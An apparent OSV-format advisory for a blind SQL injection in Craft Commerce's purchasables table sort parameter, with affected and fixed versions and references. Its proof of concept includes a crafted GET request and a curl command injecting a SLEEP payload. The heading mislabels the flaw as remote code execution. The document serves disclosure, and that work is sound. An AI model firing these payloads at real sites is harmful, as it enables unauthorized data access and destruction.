CVE-2026-29172: Craftcms/commerce Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j3x5-mghf-xvfw",
  "modified" : "2026-03-10T22:55:11Z",
  "published" : "2026-03-10T18:23:07Z",
  "aliases" : [ "CVE-2026-29172" ],
  "summary" : "Craft Commerce is Vulnerable to SQL Injection in Commerce Purchasables Table Sorting",
  "details" : "## Summary\nCraft Commerce is vulnerable to **SQL Injection** in the purchasables table endpoint. The `sort` parameter is split by `|` and the first part (column name) is passed directly as an array key to `orderBy()` without whitelist validation. Yii2's query builder does **NOT** escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the `ORDER BY` clause.\n\n---\n## PoC\n### Required Permissions\n- General\n\t- Access the control panel\n\t- Access Craft Commerce\n- Craft Commerce\n\t- Manage orders\n\t- Edit orders\n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce** > **Orders** > Create a new order\n3. Click on \"Add a line item\" to show the purchasables table\n4. Intercept the AJAX request and modify the `sort` parameter as follows:\n```http\nGET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc\n```\n5. Observe the delay in the response, confirming the injection\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed):\n```bash\ncurl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'\n```\n\n### Impact\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character (same technique as [GHSA-pmgj-gmm4-jh6j](https://github.com/craftcms/commerce/security/advisories/GHSA-pmgj-gmm4-jh6j)).\n- **Modify or destroy data** (drop tables, update records, alter schema).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/commerce"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.10.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.10.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/commerce"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.5.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.5.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/security/advisories/GHSA-j3x5-mghf-xvfw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29172"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/commit/b231b920b73db023e81e5b261b894d73e865c276"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/commit/e4e0f4107cd895d29290523637f077fe280407b1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/commerce"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-10T18:23:07Z",
    "nvd_published_at" : "2026-03-10T20:16:38Z"
  }
}